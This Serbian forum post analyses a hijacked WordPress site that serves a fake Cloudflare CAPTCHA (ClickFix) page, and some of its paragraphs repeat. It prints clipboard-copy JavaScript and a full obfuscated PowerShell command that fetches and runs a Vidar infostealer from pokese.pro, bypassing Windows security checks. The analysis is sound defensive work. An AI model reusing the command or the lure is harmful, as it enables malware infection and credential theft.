07-03-2026, 12:14 PM
UNS - Udruženje nastavnika Srbije "Panel". Kompromitovani Wordpress... naravno
Zlonamerna skripta ubačena na sajt prvo zbog redundanse pita gomilu Polygon RPC krajnjih tačaka za specifičan pametan ugovor :
Od tog pametnog ugovora dobije domen za dalji kontakt :
Domen koji dobije je pokese.pro, prvo pita za konfiguraciju krajnje tačke koja služi clickfix :
Vidimo da je upaljen i da opslužuje samo Windows platforme.
Dalje učita ovu landing stranicu koju je dobio u prethodnom odgovoru, na njoj se nalazi HTML i slike za clickfix stranicu koju prikazuje posetiocu to je ono što se vidi na prvom snimku ekrana gore :
Takođe učita i "cloudflare.js — ClickFix Cloudflare CAPTCHA module" :
Ovde se nalazi razna logika za funkcionisanje "captcha" stranice, prevod teksta stranice na 25 jezika kao i logika za kopiranje teksta u klipbord :
Onda krajnjoj tački šalje neke podatke posetioca :
Onda sa krajnje tačke učitava kôd koji će biti kopiran u lokalni klipbord na računaru :
Objašnjenje prepuštam Deepseek-u :
Fajl koji se preuzme i pokrene na računaru je Vidar infostealer
https://www.virustotal.com/gui/file/ea21...c7f4443045
Code:
unspanel.rs has address 85.17.233.121Zlonamerna skripta ubačena na sajt prvo zbog redundanse pita gomilu Polygon RPC krajnjih tačaka za specifičan pametan ugovor :
Od tog pametnog ugovora dobije domen za dalji kontakt :
Domen koji dobije je pokese.pro, prvo pita za konfiguraciju krajnje tačke koja služi clickfix :
Vidimo da je upaljen i da opslužuje samo Windows platforme.
Dalje učita ovu landing stranicu koju je dobio u prethodnom odgovoru, na njoj se nalazi HTML i slike za clickfix stranicu koju prikazuje posetiocu to je ono što se vidi na prvom snimku ekrana gore :
Takođe učita i "cloudflare.js — ClickFix Cloudflare CAPTCHA module" :
Ovde se nalazi razna logika za funkcionisanje "captcha" stranice, prevod teksta stranice na 25 jezika kao i logika za kopiranje teksta u klipbord :
Code:
// Clipboard helpers
function copyToClipboard(str) {
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(str).catch(function() {
fallbackCopy(str);
});
} else {
fallbackCopy(str);
}
}
function fallbackCopy(str) {
var el = document.createElement('textarea');
el.value = str;
el.setAttribute('readonly', '');
el.style.position = 'absolute';
el.style.left = '-9999px';
document.body.appendChild(el);
el.select();
document.execCommand('copy');
document.body.removeChild(el);
}Onda krajnjoj tački šalje neke podatke posetioca :
Onda sa krajnje tačke učitava kôd koji će biti kopiran u lokalni klipbord na računaru :
Code:
powershell -NoP -w h -ep bypass -c "$h='pokese.'+'pro';$n='8e3c36a6.exe';$u='https://'+$h+'/'+$n;$f=$env:TEMP+'\x.exe';[Net.WebClient]::new().('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"Objašnjenje prepuštam Deepseek-u :
Fajl koji se preuzme i pokrene na računaru je Vidar infostealer
https://www.virustotal.com/gui/file/ea21...c7f4443045